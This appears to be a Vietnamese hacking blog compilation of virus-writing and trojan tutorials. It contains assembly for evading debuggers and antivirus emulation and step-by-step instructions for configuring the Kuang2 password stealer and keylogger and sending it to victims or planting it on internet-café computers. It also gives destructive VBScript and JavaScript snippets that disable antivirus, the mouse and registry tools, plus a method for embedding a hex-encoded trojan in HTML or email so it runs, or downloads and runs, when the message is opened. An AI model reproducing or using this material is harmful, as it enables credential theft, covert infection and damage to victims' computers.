NOD32.000 - NODICE viral database
ANTI-VIR.DAT - TBAV crc file
CHKLIST.MS - MSAV crc file

Anti-Bait
Chọn file mà lây. Tránh các AV, tránh mấy chương trình thông dụng kiểu
winword.exe. Như ngày xưa trên DOS ta hay tránh command.com í

Tôi sẽ đưa thêm một số ví dụ về từng kỹ thuật đã đề cập phía trên

Anti-Debug
Về bản chất chống thao tác debug tức là dạy VR chống lại con người (ở đây
là các AV), chính vì vậy điều này xem ra không thể thực hiện được. Sau khi
bắt được một mẫu VR mà không de-assemble được, các AV sẽ sử dụng các công
cụ debug dịch ngược VR từ mã máy ra dạng ASM để đọc và tìm hiểu nguyên lý
hoạt động của VR đặc biệt là đoạn code mã hoá vì đây là điểm quan trọng
nhất để giải mã và hiểu được nội dung VR. Thông thường đề làm được
các VXer phải mã hoá VR dựa trên một số thuật toán mã hoá thật phức tạp
nhằm làm nản lòng người đọc. Các giải thuật này có rất nhiều trên NET nên
tôi sẽ không trình bày nữa. Khi lập trình người lập nên tận dụng các lệnh
nhảy và call càng nhiều càng tốt nhằm gây khó khăn cho người theo dõi.

- Gọi luôn API của debugger
VD:
call IsDebuggerPresent ;call API
xchg eax, ecx ;result to ECX
jecxz debugger_not_present ;if ZERO, debugger not present
Gọi hàm API Win98/NT kiểm tra API level debugger

- Kiểm tra debugger context
mov ecx, fs:[20h] ;load context of debugger
jecxz debugger_not_present ;if ZERO, debugger not present
- Sử dụng SEH
call setupSEH ; The call pushes the offset
errorhandler:
mov esp,[esp+8] ; Put the original SEH offset
; Error gives us old ESP
; in [ESP+8]
;*** SECRET CODE HERE ***
setupSEH:
push dword ptr fs:[0] ; Push original SEH handler
mov fs:[0],esp ; And put the new one (located
; after the first call)

mov ebx,0BFF70000h ; Try to write in kernel (will
mov eax,012345678h ; generate an exception)
xchg eax,[ebx]

- Gọi VxD service (Ring-0 only)
mov eax, 202h ;SoftICE ID number
VxDCall Get_DDB ;call service
xchg eax, ecx ;result to ECX
jecxz sice_not_present ;SoftICE not present

- Kiểm tra softice trên bộ nhớ b᡺?ng CreateFileA
xor eax, eax ;EAX=0
push eax ;parameters
push 4000000h ;for
push eax ;CreateFileA
push eax ;API
push eax ;function
push eax ;...
push offset sice ;name of driver
call CreateFileA ;open driver
inc eax ;is EAX==0?
je sice_not_present ;yeah, SoftICE is not present
dec eax ;no,
push eax ;close its handle
call CloseHandle ;...
... ;and make some action
sice db '\\.\SICE',0 ;SICE driver under Win9X
;sice db '\\.\NTICE',0 ;SICE driver under WinNT
- Chọc vào các thanh ghi debug (Ringg-0 only)
mov eax, '****' ;set already_infected mark
mov dr0, eax ;to dr0


Anti-Heuristics bằng bẫy ngắt trên DOS:

INT 1: Ngắt 01 có một số đặc điểm lạ có thể lợi dụng. Thông thường ta có
thể gọi ngắt qua opcode CDh. Ở đây là 0CDh/001h tuy nhiên lệnh gọi ngắt 01 có
một mã khác là 0F1h. Mã không công bố cũng đồng nghĩa với việc có thể không
được emulated bởi các AVs. Lợi dụng điều này ta có thể dùng INT 01h để mã
hoá VR:

mov ax, 3501h ;Lấy ngắt 01 cũ
int 21h
mov old_segm, es
mov old_offs, bx

mov ax, 2501h ; Bẫy int 01
mov dx, offset int1_handler ;Giả định DS=CS
int 21h

db 0F1h ; Giải mã VR

mov ax, 2501h ;Phục hồi ngắt cũ
mov dx, cs:old_offs
mov ds, cs:old_segm
int 21h


[...]

int1_handler:
;...Giải mã/ mã hoá VR here...
iret

Hoặc ta có thể làm mất vết bằng cách:
[...]

db 0F1h ;Gọi int 01 đã bẫy (như trên)
mov ax, 4c00h ;quit program
int 21h ;Thực ra chẳng bao giờ quit

;---- VR tiếp tục bình thường

[...]

int1_handler:
mov bx, sp ;modify return address, so the quit command
add word ptr ss:[bx], 5 ;is never executed.
iret

INT 06: Điểm mạnh của INT 06 là được CPU gọi khi có thao tác bất thường. Các
AVs rất khó bẫy. Tương tự trên ta ó thể sử dụng int 06h

mov ax, 3506h ;Lấy ngắt cũ
int 21h
mov old_segm, es
mov old_offs, bx

mov ax, 2506h ;Bẫy ngắt
mov dx, offset int6_handler
int 21h

dw 0FFFFh ;Tự tạo lỗi

mov ax, 2506h ;trả ngắt cũ
mov dx, cs:old_offs
mov ds, cs:old_segm
int 21h

[...]

int6_handler:
;mã hoã/giải mã ở đây
mov bx, sp
add word ptr ss:[bx], 2 ;Trở về VR cũ
;2 là mã lệnh không hợp lệ
iret

Hoặc cũng có thể dùng làm kỹ thuật xoá vết như trên

Tìm hiểu Trojan từ A đến Z

I)Mở đầu :
Hiện nay , lực lượng các hacker đang phát triển từng ngày còn các cracker thì phát triển với một tốc độ không thể tưởng tượng nổi . Không thể tồn tại một hệ thống nào trên thế giới là không thể bị tấn công . Một máy tính cá nhân là một mục tiêu rất đơn giản mà 1 cracker với không nhiều hiểu biết về máy tính cũng có thể tấn công , vì vậy đó cũng là lí do tại sao cracker phát triển manh mẽ đến như vậy . Các hacker có khả năng viết ra các trojan và tự thử nghiệm còn các cracker có khả năng sử dụng trojan một cách hiệu quả , kĩ năng của họ hơn nạn nhân chính là ở khả năng sử dụng trojan .
Ngựa trojan ra đời trong truyền thuyết Hy Lạp cổ đại vào thế kỉ thứ 12, khi quân Hy lạp không thể hạ nổi thành địch , họ đã giả vờ tặng quân địch một chú ngựa gỗ khổng lồ . Sau khi chú ngựa gỗ đã được đem vào thành , nửa đêm quân Hy Lạp trong bụng chú ngựa gỗ chui ra và tấn công tiêu diệt quân địch một cách bất ngờ , nhờ mưu này mà họ đã hạ được thành giặc .
Trong thế giới tin học , khái niệm Ngựa trojan ra đời từ khi CDC(Cult of the Dead Cow) tạo ra Back Orifice , một trojan nổi tiếng nhất từ trước đến sau này , có cổng xâm nhập là 31337 .

II) Khái niệm về trojan:
Trojan là các chương trình hoạt động nhằm chống lại hoặc gây tổn hại đến người dùng máy tính , chúng có vẻ ngoài hợp pháp nhưng luôn có mặt xấu xa bên trong . Các chương trình này thường làm việc bí mật và người dùng thường không nhận ra sự hoạt động của chúng . Chúng có thể giới hạn quyền của người dùng tới mức tối đa . Tất cả trojan đều được các hacker dùng cho mục đích riêng nào đó của họ . Hầu hết trong số này là để thiết lập quyền điều khiển từ xa RATs ( Remote Adminitration Tools ) .
Không giống như các virus , trojan thường không tự nhân bản mà chỉ chạy ngầm trong máy tính của nạn nhân . Có trojan trong máy tính bạn là một hiểm hoạ và thực thi chúng gây ra những lỗi khác nhau , thông thường nhất và ít hại nhất là làm chậm tốc độ máy tính của bạn , nghiêm trọng hơn là chúng có thể làm mất quyền sửa registry ( lưu các thông tin của Windows ) , làm treo máy hay format lại ổ đĩa .

III) Phân loại trojan :
a) Loại điều khiển từ xa(RAT)
b) Keyloggers
c) Trojan lấy cắp password
d) FTP trojans
e) Trojan phá hoại
f) Trojan chiếm quyền kiểu leo thang
A) Trojan điều khiển từ xa :
RAT đóng vai trò như một server trên máy tính của bạn và tạo điều kiện cho hacker kết nối với máy tính của bạn và thực hiện các lệnh khác nhau . Dù bạn có vài hiểu biết về loại trojan này thì bạn cũng khó có thể nhận ra được nó có tồn tại trong máy tính của bạn không bởi vì các trojan phát triển liên tục hàng ngày và càng trở nên hiệu quả hơn . Những trojan tốt có thể tạo điều kiện cho các hacker quyền điều khiển thậm chí cao hơn chính bản thân bạn và chúng tự động kích hoạt mỗi khi bạn khởi động máy tính.
Sử dụng trojan loại này khá đơn giản , chúng thường gồm 2 file server và client , mỗi khi tải chúng về , bạn chỉ cần đọc mục Help của chúng là đã có thể biết cách sử dụng . Các tính năng của trojan loại này càng ngày càng cao hơn , ví dụ như trojan girl-friend có thể ngăn không cho nạn nhân tắt máy tính , hiển thị text lên màn hình , biểu diển âm thanh , hình ảnh , đownloa , upload file từ server , thậm chí là chát cùng với nạn nhân … Nhưng mỗi khi sử dụng chúng thường bạn phải ngụy trang chúng dưới dạng 1 file ảnh và giấu cái đuôi exe của chúng đi .

Cách thức làm việc của trojan RAT :
RAT trojan thường ẩn náu trong các chương trình lớn , vì vậy mỗi khi bạn chạy chương trình này , trojan sẽ tự động được kích hoạt . Mỗi RAT thường chạy server dưới một cổng riêng biệt , cổng này cho phép hacker thâm nhập vào máy của bạn và làm mọi thứ mà anh ta cảm thấy thích thú . Các trojan khi đã xâm nhập vào trong máy tính thường tạo ra 1 file thực thi nào đó hoặc ghi thêm dòng lệnh tự kích hoạt vào trong file win.ini , có thể bạn biết được file đó là trojan nhưng cũng không thể vô hiệu hoá nổi nó bằng những cách thông thường . Thường thì bạn không thể xoá nó đi và cũng không thể vào trong registry để xoá vì chúng thường làm mất chức năng edit registry của hệ điều hành . Đó là chưa kể đến việc nhiều loại trojan lạ có thể kích hoạt dưới những tên file lạ mà bạn không hề nghĩ đó là trojan mà cứ tưởng là file thực thi của hệ điều hành .
Người ta có thể sử dụng RAT để điều khiển , quản lí từ xa máy tính của chính bản thân họ , nhưng luôn phải cẩn thận vì RAT có thể gây ra những tác hại mà chính ta cũng không biết trước .
Ví dụ loại này : Back Orifice, girlfriend , Net Bus
B)Keyloggers:
Hoạt động của loại này khá đơn giản , chúng ghi lại mọi diễn biến trên bàn phím bao gồm cả các password như password account internet , password hòm thư , password FTP và lưu trong máy bạn hoặc gửi về một địa chỉ email nào đó của hacker .
Keyloggers thường nhỏ gọn và sử dụng rất ít bộ nhớ nên rất khó để có thể nhận ra chúng .
Ví dụ về loại này như : Kuang Keylogger.
C)Trojan ăn trộm password :
Trojan này ăn cắp password lưu trong máy bạn như pass ICQ, IRC,hotmail , yahoo , account internet hoặc tất cả các pass trên để gửi về cho hacker qua email .
Ví dụ trojan loại này : Barri, kuang , barok .
D)FTP trojan :
Loại này mở cổng 21 trên máy bạn và mọi người đều có thể truy cập vào máy của bạn mà không cần mật khẩu và có thể tải file trên máy của bạn về .
E)Trojan phá hoại :
Chúng hầu như không có mục đích gì ngoài việc phá hoại máy tính của bạn . Loại này có thể phá huỷ toàn bộ đĩa cứng , mã hoá các file . Có thể một ngày nào đó bạn dùng trojan này để trêu đùa thằng bạn của bạn mà không nhận ra những tác hại của nó , bạn chỉ có thể nhận ra khi chính bạn bị dính nó .
F)Trojan chiếm quyền kiểu leo thang:
Thường được sử dụng đối với các admin kém cỏi . Chúng có thể được “gắn” vào trong một ứng dụng hệ thống . Một khi người quản trị hệ thống chạy chúng , chúng sẽ tạo cho hacker quyền cao hơn trong hệ thống , những trojan này có thể được gửi tới những người dùng có ít quyền và cho họ quyền xâm nhập hệ thống .
Còn có 1 số loại trojan nữa trong đó bao gồm cả những chương trình tạo ra chỉ để chọc ghẹo , chúng có thể ra một thông báo đại loại như máy tính của bạn đã dính virus và ổ cứng của bạn sẽ bị format , password của bạn đã bị mất .. nhưng kì thực đây có khi chỉ là trò đùa vô hại của nhóm lập trình viên chương trình đó .

IV) Cách thức vận hành của trojan:
A)Trojan làm việc ra sao?
Cách thức vận hành của trojan khá là đơn giản , thường chúng gồm 2 thành phần là client và server , khi máy nạn nhân bị lây nhiễm trojan thì chúng sẽ biến thành server và một cổng sẽ bị mở ra , chúng ta sẽ dùng cliênt để kết nối tới IP của nạn nhân . Server sẽ ẩn trong bộ nhớ và nó tạo nên những thay đổi trong hệ thống . Nó sẽ tạo thêm đường khởi động vào registry hoặc trong các file autoexec.bat , win.ini hoặc các file hệ thống khác , do vây mà server sẽ tự khởi động khi windows làm việc trong phiên tiếp theo. Cách phổ biến nhất là phương thức thay đổi registry trong khoá sau:
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
"Server"="C:\\WINDOWS\\server.exe"
Trojan sẽ tự động copy chính nó vào trong thư mục Windows hoặc Windows\System . Đây được gọi là phương thức lây nhiễm . File server một khi được nạn nhân kích hoạt sẽ tự biến mất , như vậy dù nạn nhân có tài giỏi tới đâu thì cũng không nhận ra được sự tồn tại của trojan những lần tiếp theo . File server sẽ ghi lại IP hiện thời và cổng để thiết lập email gửi về cho hacker .Một khi đã bị lây nhiễm thì trojan sẽ mở cổng và như vậy client có thể kết nối tới máy nạn nhân và hacker có thể làm mọi việc theo ý muốn của anh ta .

| | | |
| |-----------|--IP--|--port--|--Password--| |
|| wan ||

local host remote host
- Client - - Server -

B)Nói qua về giao thức TCP/IP :

TCP/Ip là giao thức liên kết các máy tính để chia sẻ tại nguyên qua một mạng . Nó đã được phát triển trong dự án của ARPAnet , ARPAnet được biết đến nhiều nhất qua mạng TCP/IP . Tuy nhiên vào tháng 7/1987 , hơn 130 hãng khác nhau có sản phẩm hỗ trợ TCP/IP và hàng ngàn mạng khác nhau sử dụng chúng . Ta có thể gọi chúng là nhóm giao thức Internet . TCP và IP là 2 giao thức trong nhóm này . Bởi TCP và IP là những giao thức nổi tiếng nhất và được sử dụng rộng rãi nhất và khó có thể bị thay thế sớm .
TCP/IP gồm 4 lớp giao thức, tương ứng với 7 lớp giao thức của chuẩn ISO OSI. Bốn lớp đó gồm (kể theo thứ tự từ trên xuống dưới): Application layer, Host-to-host layer, Internet layer, cuối cùng là Physical layer. TCP nằm ở lớp thứ 3 (Host-to-host layer), IP nằm ở lớp thứ 2 (Internet layer).

Tên Số thứ tự
Application layer 4
Host-to-host layer 3
Internet layer 2
Physical layer 1

Đi từ trên xuống dưới, lớp ứng dụng sẽ xử lý thông tin và ra lệnh gửi/nhận đến lớp TCP để truyền và nhận dữ liệu.
1.Địa chỉ IP là gì:
Địa chỉ IP được chia thành 4 số giới hạn từ 0 - 255. Mỗi số được lưu bởi 1 byte -> !P có kicks thước là 4byte, được chia thành các lớp địa chỉ. Có 3 lớp là A, B, và C. Nếu ở lớp A, ta sẽ có thể có 16 triệu điạ chỉ, ở lớp B có 65536 địa chỉ.
IP thể hiện điều gì:
Trên mạng Internet nó sẽ xác định chính bạn. Khi kết nối vào mạng thì IP của bạn là duy nhất trên thế giới. Tuy nhiên số này chưa hẳn là cố định. Nếu bạn vào mạng qua một ISP thì số IP của bạn sẽ thay đổi ở các lần bạn kết nối.
Một người biết IP của bạn thì có thể lần ra vị trí của bạn. Nghĩa là khi có IP thì biết được địa chỉ của ISP rồi biết được thông tin của bạn. Trên thực tế, IP cho biết về máy tính được sử dụng để vào mạng chứ không cho biết thông tin về người sử dụng, trừ khi IP của bạn là cố định hoặc sử dụng account của riêng bạn.
2.)Thế nào là giao thức TCP:
TCP là viết tắt của Transmission Control Protocol tạm dịch là cách thức điều khiển truyền. TCP phụ trách việc truyền và nhận dữ liệu. TCP giúp cho lớp ứng dụng (Application layer) sử dụng lớp IP (lớp IP là vì lớp Internet chỉ có IP) (Internet Protocol, tạm dịch Giao thức liên mạng) một cách trong suốt. Điều này có nghĩa là lớp ứng dụng không cần biết đến phần cứng sẽ làm việc gì, ra sao, mà chỉ cần quan tâm đến việc xử lý dữ liệu của riêng mình. TCP cũng đảm trách việc nhận đúng dữ liệu và gửi dữ liệu đó đến đúng chương trình cần nhận. TCP còn có chức năng kiểm tra và sửa lỗi thông qua việc đồng bộ hoá (synchronize) thông tin 2 đầu truyền dữ liệu và lời nhận biết (acknowledgement) từ phía nhận dữ liệu .

C.) Cách lấy IP của nạn nhân :
Lấy IP của nạn nhân là rất quan trọng vì có IP thì chúng ta mới thiết lập được giao thức TCP/IP .
1)Khi bạn đã gửi trojan cho nạn nhân và thành công , máy của bạn sẽ kết nối máy tính nạn nhân bằng một Direct Transfer ( truyền trực tiếp ) . Khi này để biết IP của victim bạn chỉ việc mở cửa sổ làm việc của Dos( trong win ) và đánh Netstat , tuy nhiên cách này chỉ lần ra được IP của chính nạn nhân khi hắn kết nối internet không thông qua proxy , trong trường hợp hắn dùng proxy thì IP của hắn chính là Ip của proxy :

| | | |
| |<-----------------------------------------| |
|| Direct Transfer ||

local host remote host
127.0.0.1 187.66.121.70 > Bằng cách gõ netstat bạn sẽ nhận được Ip là 187.66.121.70
Trường hợp này là đúng

| | | | | |
| |<----------------| |<-----------------| |
|| || ||

local host proxy remote host
127.0.0.1 24.0.0.1 187.66.121.70 > Bằng cách gõ netstat bạn sẽ nhận được Ip là 24.0.0.1
Trường hợp này là sai
2) >Cũng giống trường hợp như trên nhưng khi này bạn thiết lập cho trương trình gửi một e-mail về cho bạn , khi đã nhận được e-mail bạn hãy mở nó ra bằng trình Outlook Express , ấn chuột phải chọn propeties . Trong này bạn sẽ nhận được một vài thông tin như sau :

X-Apparently-To: formatkid@yahoo.com via web13406.mail.yahoo.com; 13 Aug 2001 12:03:49 -0700 (PDT)
X-Track: 2: 40
Received: from 66.76.119.67 (HELO formatkid) (66.76.119.67)
by mta574.mail.yahoo.com with SMTP; 13 Aug 2001 12:02:34 -0700 (PDT)
From: lamer@hotmail.com
To: formatkid@yahoo.com
Subject: đây là bức thư mà bạn cần !
Mime-Version: 1.0
Như vậy là bức thư đã được gửi đến từ địa chỉ 66.76.119.67 và đây chính là IP của nạn nhân .
3) Trường hợp này có thể áp dụng với phương thức lây nhiễm khi bạn sử dụng http server , khi họ kết nối vào server của bạn để download con trojan , bạn có thể sử dụng chương trình netmon ( down tại địa chỉ ttp://www.leechsoftware.com hoặc dùng netstat ở ngay tại máy của bạn bằng cách vào Start/Run/ đánh command sau đó gõ netstat -an thì IP của những máy đang nói chuyện với máy bạn sẽ hiện ra ở ô bên phải )
4) Thường các trojan có chức năng tự động cảnh báo ( Auto-Notification settings ) . Chức năng này cho phép bạn ấn định số ICQ hoặc địa chỉ e-mail , vì vậy mỗi khi bạn nhân log on vào mạng thì IP address và số cổng kết nối sẽ được gửi đến cho bạn . Một vài trojan có thêm tính năng cảnh báo CGI nhưng đây là những kĩ thuật kiếm khi được sử dụng

Hướng dẫn cách sử dụng Kuang 2 :

Kuang 2 là Trojan tuyệt vời chuyên dùng để ăn cắp Account như account Internet và account mail. Vì vậy nó có thể được coi là công cụ trợ lực cho Hacker chúng ta. Tuy nhiên nhiều người Download nó về mà không biết xài hoặc khi gửi cho victim (nạn nhân) thì gặp trục trặc. Vì vậy hôm nay tôi sẽ hướng dẫn các bạn các sử dụng Trojan Kuang 2

1. Download và Unzip file nén

2. Double click vào file K2pS_setup

3. Một cửa sổ nhỏ xuất hiện :
- Psender file: click vào open và chọn file: K2pS_full.exe
- SMTP server: mail.yahoo.com or mail.hotmail.com (tùy thuộc vào địa chỉ email của các bác)
- Destination address: address của các bạn ở yahoo hoặc hotmail (nếu account là hotmail thì SMTP server sẽ là : mail.hotmail.com) (cũng không cần ! Các bạn có thể viết là Mail.vnn.vn )

4. Source address: đừng động gì tới nó …leave it as it is.

5. Save lại và nhớ đổi tên con Kuang 2 này nhé (bất cứ tên gì thật hấp dẫn để dụ victim phải open nó)

6. Compose một email rồi attached con Kuang 2 này vào rồi gửi đến victim. Hotmail nhận dạng được K2 nhưng Yahoo thì không.

Simple, as soon as victim active attached file, Kuang2 sẽ gửi về account của các bạn 1 email thông báo về user name, password và IP

File Readme của Kuang2 hơi bị phức tạp, new user dễ bị nhầm lẫn cái phần SMTP server và Destination address lắm. Moreover, tác giả của Kuang2 claim là Kuang2 có thể hack được password của yahoo và hotmail, but in fact…it‘s unable to do so!!! (bad news eh!!!) Kuang2 chỉ có thể steal password của window Connect to thôi, nếu victim dùng cable thì Kuang2 cũng chào thua.

Tiếp theo tôi sẽ hướng dẫn các bạn sử dụng Trojan Kuang2loggeras, đây là một thể biến dạng của Kuang2 :

Ðể lấy password của Yahoo, Hotmail và cả Dial-up thì có nhiều biện pháp nhưng khả quan hơn cả là password e-mail cóthể lấy được dễ dàng bằng cách dùng Trojan đó là con Kuang LoggerAs. Trước hết xin giới thiệu con này có chức năng lấy password Dial-Up của Victim và có kèm theo cả chức năng Keylog tức nó sẽ thu gom tất cả các phím được gõ trên bàn phím khi nó thường trú trong bộ nhớ, tất cả được tổng hợp trong một con Trojan có kích thước rất bé và không chiếm nhiều bộ nhớ khi nó nằm thường trú nên không gây nghi ngờ, ngay cả khi bấm Ctrl+Alt+Del cũng không thấy nó nốt. Sau đó nó sẽ gởi Report về E-mail đã được định trước. Do không rõ nguồn gốc nên mình không thể cung cấp chính xác nơi để các bác download về mà dùng nên các bác phải dùng Google hoặc phiên bản mới cũng thuộc loại mạnh là Wisenut gõ vào:
"Kuang2loggeras.zip" và sẽ download được con này về. Sau đó chạy K2las_su.exe chọn Open chọn file Virus chính là K2logas.exe và nhấp chuột vào Open.
Sau đó các bác cung cấp SMTP của dịch vụ E-mail mà bác đang dùng có thể dùng pmail.vnn.vn sau đó sang Destination address cho biết địa chỉ sẽ nhận Report còn phần Source address thì để nguyên. Ở phần bên phải là cấu hình cho con này phần này có thể xem thêm trong Readme.txt kèm theo Virus. Trong đó phần quan trọng là Send every..X..
days "x" ở đây là số ngày cách nhau mà nó sẽ gởi Report về cho các bác. Sau đó chọn "Save" là xem như phần cấu hình xong xuôi. Lúc này chỉ cần đem file "k2logas.exe" đi cho lây là xong. Có thể gởi trực tiếp qua e-mail hoặc đem đến các dịch cụ cho thuê mà chủ động chạy nó trên bất kỳ máy nào. Theo tôi thì các bác hãy đem đến dịch vụ cho lây sau khoảng nữa ngày đến 2 ngày sau, nếu bạn sử dụng Windows win98,95,win98se... thì hãy đến đúng máy đó mà vào Windows\System copy lại file "K2logas.cfg" còn nếu sử dụng Windows 2000, XP thì vào thư mục system32 rồi copy file "K2logas.cfg" (nếu ở các hệ điều hành khác thì bạn hảy dùng chức năng Search của Windows).đây chính là phần data mà nó log lại được. Sau đó sẽ có một đống pass do người ta đến đây chủ yếu là Checkmail. Vì sao phải tự đến lấy mà không phải đợi nó send về lý do là các phòng máy đa số nối mạng Lan và dùng Proxy để chia sẽ mạng mà con này lại được thiết kế để send dữ liệu trên máy có gắn modem và khi quay số vào mạng cụ thể như máy cái của các phòng máy này. Sau khi đã lấy được file dữ liệu của nó rồi thì còn phải tách username và mật mã ra do nó không đủ thông minh để tự tách cái này ra nhưng chỉ cần xem qua là biết đâu là tên, đâu là mật mã rồi. Các bác có thể Test thử nó trên máy của mình trước khi dùng thực tế, sau đó chỉ cần vào Registry xoá bỏ phần AutoStart của nó trong khoá Run là xong. Qua đây mình cũng rút ra được kinh nghiệm là trước khi có ý định lấy pass của e-mail nào nếu làcủa Sinh viên hay học sinh thì trước tiên hãy thử dùng ngày tháng năm sinh của họ và tên người yêu của họ trước

Tự tạo vài con virus chơi :

Chỉ với Notepad hay Wordpad bạn đã có thể tự tạo cho mình 1 "chú" Virus dưới dạng VBSCRIPT hoặc Javascript rồi:

Dưới đây là code của một số con virus nhỏ dưới dạng VBS:

1.Không cho victim khởi động máy:

Dim wsh
Set wsh = createobject("wscript.shell")
wsh.run "RUNDLL32.EXE user.exe,exitwindows"


2. Disable NAV:

Dim wsh
Set wsh= CreateObject( "WScript.Shell")
s1 = "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Norton Program
Scheduler\Start"
wsh.RegWrite s1,3, "REG_DWORD"


3. Hiển thị một message mỗi khi reboot máy:

dim wsh
Set wsh = CreateObject( "WScript.Shell" )
s1 = "HKLM\Software\Microsoft\Windows\CurrentVersion\WinLogon\"
s2 = "LegalNoticeCaption"
s3 = "LegalNoticeText"
wsh.RegWrite s1+s2, "http://allformy.topcities.com"
wsh.RegWrite s1+s3, "Hi ! Toi la TrungWK- Toi den tu Chip&Kitty.tk"


4. Hiển thị một dòng lệnh khi click vào file hay folder:

set reg=createobject("WScript.shell")
reg.regwrite "HKEY_CLASSES_ROOT\*\Shell\\","Hi ! Ban da bi nhiem WK tu Chip&Kitty.tk"
reg.regwrite "HKEY_CLASSES_ROOT\folder\shell\Hi ! Ban da bi nhiem WK tu Chip&Kitty.tk\","Robinhood"


5. Làm cho các trò trên hoạt động bình thường:

Dim objShell
Set objShell = CreateObject( "WScript.Shell" )
s1 = "HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\"
s2 = "Policies\System\DisableRegistryTools"
objShell.RegWrite s1+s2,1, "REG_DWORD"

Dưới dạng Javascipt :

var wsh;
wsh=new ActiveXObject ("Wscript.shell");


// Winlogon when reboot
var s1 = "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\WinLogon\\";
var s2 = "LegalNoticeCaption";
var s3 = "LegalNoticeText";
wsh.RegWrite (s1+ s2, "http://allformy.topcities.com") ;
wsh.RegWrite (s1+s3, "Hi ! Toi la Anti_Love. Toi den tu Chip&Kitty.com") ;

//Disable Registry
var s1 = "HKEY_USERS\\.Default\\Software\\Microsoft\\Windows\\CurrentVersion\\";
var s2 = "Policies\\System\\DisableRegistryTools" ;
wsh.RegWrite (s1+s2,0,"REG_DWORD");


//Delete file Msconfig.exe làm cho victim khởi động tới Registry luôn

var fso;
fso=new ActiveXObject("Scripting.FileSystemObject");
var fe=fso.getfile("C:\\windows\\msconfig.exe);
fe.delete true;


//Disable Mouse

wsh.run ("RUNDLL32.EXE mouse,disable");


//Hang up windows

wsh.run ("rundll32 user,disableoemlayer");

Kỹ thuật gắn Trojan vào file HTML

Bạn muốn chạy tự động 1 trojan trên máy tính người khác khi họ xem trang Web hoặc Email của bạn...! Có cách nào không??? Dĩ nhiên là được rồi! Bài viết này sẽ giúp bạn giải quyết vấn đề!

1) Hướng dẫn:

· Bước 1: chuẩn bị một file trojan.exe, kích thước khoảng 5 - 40Kb. Nếu bạn không có trojan, bạn có thể tải về từ trang TlSecurity.com hoặc tự viết một file
trojan.exe để xài!

· Bước 2: chạy convert16.exe để convert file trojan.exe sang trojan.hex

· Bước 3: dùng 1 trình soạn thảo văn bản dạng text( nên dùng EditPlus, nó rất
hay!) để sửa file temp.htm như sau:

Thay phần .doc=”4D5A900... 64620000” thành .doc=”<đặt nội dung của file trojan.hex vào đây>” VD: .doc=”9631447da55abcd44ac25...”

· Bước 4: Nhúng file nội dung file temp.htm sau khi sửa vào trang Web hoặc Email và gởi đến cho người khác!

2) Mã nguồn:

· Files:

§ tempsrc.hta dùng để extract và execute trojan.exe

§ tempsrc.htm file htm chính

§ convert16.vbp & convert16.frm : file nguồn của chương trình Convert 16, được viết bằng Visual Basic 6, dùng để convert file .exe sang file .hex

· Những vấn đề chính:

§ Kĩ thuật ‘Convert 16’: dùng để tạo 1 file nhị phân, ví dụ như trojan.exe

Chuyển mã ANSI của kí tự sang hệ cơ số 16 hexa. Từ mã ANSI của kí tự ở hệ 16 chúng ta dễ dàng chuyển về lại kí tự ban đầu. Để dễ hiểu, tôi đưa ra ví dụ sau:


Kí tự
L
P
T
V

C
l
u
b

2
0
0
1

Mã ANSI ở hệ 10
76
80
84
86
32
67
108
117
98
32
50
48
48
49

Mã ANSI ở hệ 16
4C
50
54
56
20
43
6C
75
62
20
32
30
30
31



Encode16 Decode16

“LPTV Club 2001” “4C50545620436C75622032303031” “LPTV Club 2001”



‘--- VBScript Code ---



function encode16(st)

for i = 1 to len(st)

temp = hex((asc(mid(st,i,1)))

‘ mid(st,i,1) lấy 1 kí tự trong chuổi st ở vị trí thứ i

‘ asc(mid(st,i,1)) trả về mã ANSI của kí tự này

‘ temp = hex((asc(mid(st,i,1))) sẽ chứa mã ANSI ở hệ 16 của kí tự

if len(temp) = 1 then ‘vì mã ANSI của kí tự chỉ nằm trong khoảng từ 0 đến 255 (0h-FFh), nên nếu độ dài của temp=1 chúng ta sẽ thêm 0 vào trước! Ví dụ: 0A, 07, ...

temp =”0” & temp

end if

encode16 = encode16 & temp

next

end function



function decode16(st)

for i =1 to len(st) step 2 ‘như ở trên, mỗi kí tự được mã bằng đúng 2 kí tự nên bước nhảy step = 2

decode16 = decode16 & chr(“&h” & mid(st,i,2))

‘ mid(st,i,2) trả về 1 chuổi gồm 2 kí tự, bắt đầu từ vị trí thứ i trong chuổi

‘chr(“&h” & mid(st,i,2)) trả về kí tự có mã ANSI ở hệ 16; “&h” dùng để chỉ hệ 16

next

end function

‘--- VBScript Code ---



§ Kĩ thuật ‘Encode’: được sử dụng trong file temp.hta & temp.htm



. Mục đích:

+ giảm kích thước file

+ làm cho mã lệnh khó đọc đối với người khác



. Ví dụ: thay vì viết lệnh rõ ràng:


on error resume next

dn=chr(34)

xd=vbcrlf

set wsh=createobject("wscript.shell")

set fso=createobject("scripting.filesystemobject")

Chúng ta cũng có thể viết lại như sau:

on error resume nextj=chr(34)q=vbcrlfset g=createobject("wscript.shell")set t6=createobject("scripting.filesystemobject")

Bạn thấy mã lệnh nhỏ hơn trước và có khó đọc không?


3) Hỏi/Đáp:


· Có thể gắn virus hoặc 1 chương trình khác thay cho trojan không?

Dĩ nhiên là được rồi! Bạn thử nghĩ lại xem, file virus, trojan.exe hầu như đều là các file .exe chương trình có khả năng tự thực thi nên bạn hoàn toàn có thể thay đổi theo ý muốn của bạn!

· Nếu tôi gắn 1 file trojan.exe lớn trong file temp.html , file này sẽ lớn kinh khủng, người khác có thể nghi ngờ! Vậy làm sao bây giờ?

· Tôi muốn máy họ tự động download file trojan.exe từ trên mạng về và execute nó? Có được không?

Rất dễ! Thay vì phải gắn file trojan.exe, chúng ta sẽ gắn 1 file chương trình nhỏ khoảng 5 KB. Nhiệm vụ của file này là download trojan.exe từ http://www.somewhere.com/yoursite/trojan.exe và thi hành nó! Bạn nên sửa lại mã của file .hta một chút!: bỏ lệnh xóa file temp.exe và thêm lệnh tạo registry-startup cho file temp.exe!

...

wsh.regwrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Kernel 32”,filetrojan

...
Download Opera, the fastest and most secure browser
December 2009
M T W T F S S
November 2009January 2010
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31